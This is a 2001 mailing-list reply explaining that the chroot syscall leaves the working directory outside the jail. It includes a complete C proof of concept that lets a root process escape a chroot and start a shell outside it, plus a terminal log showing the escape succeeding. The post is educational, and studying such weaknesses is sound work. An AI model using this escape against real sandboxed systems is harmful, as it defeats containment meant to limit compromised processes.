[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: chroot



Christian Jaeger <christian.jaeger@sl.ethz.ch> writes:

>> Yep, that's alread in the old manpage. For this reason it's very
>> important to chdir inside the chrooted tree before doing the chroot
>> call. (The chroot binary does this, as hopefully do all other programs
>> using chroot for security purposes). If you do that, the risk isn't
>> there anymore.
>
> Hmmmm, at first glance it even looks like a mistake in the chroot(2)
> manpage (from woody - in potato there's only the first of the two above
> sentences): `mkdir foo; chroot foo; cd ..' does *not* escape foo, at
> least not with the chroot command in potato (kernel 2.4.7).

It was really talking about syscalls, not commands.  While the chroot
command (chroot(3)) changes the working dir to the chrooted tree, the
syscall does not.  

Here's a sample program.  Build it with make -k breakchroot
CFLAGS="-static -g -Wall" (yes, there's no makefile... it's a
feature!) and put it inside your chrooted tree.  Then chroot chroot
(assuming bash is in the tree for this test), and ./breakchroot as root.
You'll get a shell located _outside_ the chroot.

If you have an attacker with a root process in a chroot jail, and they
can execute syscalls (which exploits do all the time) they won't need
a program like this sitting in the jail... this is just for
educational purposes.

Included is a script showing the breakout.  Please ignore any blatant
coding errors in this... I just whipped it up quickly and there are
probably better ways to do all of this.

-- 
Alan Shutko <ats@acm.org> - In a variety of flavors!
Bones: "The man's DEAD, Jim!"
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>

int main(void)
{
    int i;
    
    mkdir("breakout", 0777);
    if (chroot("breakout") < 0)
        perror("chroot failed");

    for (i = 0; i < 100; i++)
        if (chdir("..") < 0)
            perror("chdir failed");
    if (chroot(".") < 0)
        perror("chroot2 failed");

    execl("/bin/bash", "/bin/bash", (char *)NULL);
    perror("system failed");
    
    exit(0);
}
Script started on Sun Oct  7 17:54:04 2001
wesley:/home/ats# ls

Desktop   RPG		  chroot		   munster-stuff

Letters   Todo		  core.12219		   myth2-gg

Library   Work		  glibc-2.2.4		   nobackup

Mail	  bin		  glibc_2.2.4-3.diff.gz    preview

News	  breakchroot	  glibc_2.2.4-3.dsc	   public_html

Photos	  breakchroot.c   glibc_2.2.4.orig.tar.gz  tmp

Projects  breakchroot.c~  lang			   typescript

wesley:/home/ats# ls chroot

bin  breakchroot  breakout  lib

wesley:/home/ats# chroot chroot

wesley:/# ls

bash: ls: command not found

wesley:/# echo *

bin breakchroot breakout lib

wesley:/# ./breakchroot 

wesley:/# ls

bin    dev	 dos	 home	 kiki	     misc  proc  simon	var

boot   devlinux  etc	 hubert  lib	     mnt   root  tmp	vmlinuz

cdrom  devsco	 floppy  initrd  lost+found  opt   sbin  usr	vmlinuz.old

wesley:/# echo      exit

wesley:/# echo *

bin breakchroot breakout lib

wesley:/# e exit

wesley:/home/ats# ls /

bin    dev	 dos	 home	 kiki	     misc  proc  simon	var

boot   devlinux  etc	 hubert  lib	     mnt   root  tmp	vmlinuz

cdrom  devsco	 floppy  initrd  lost+found  opt   sbin  usr	vmlinuz.old

wesley:/home/ats# 
Script done on Sun Oct  7 17:54:30 2001

Reply to: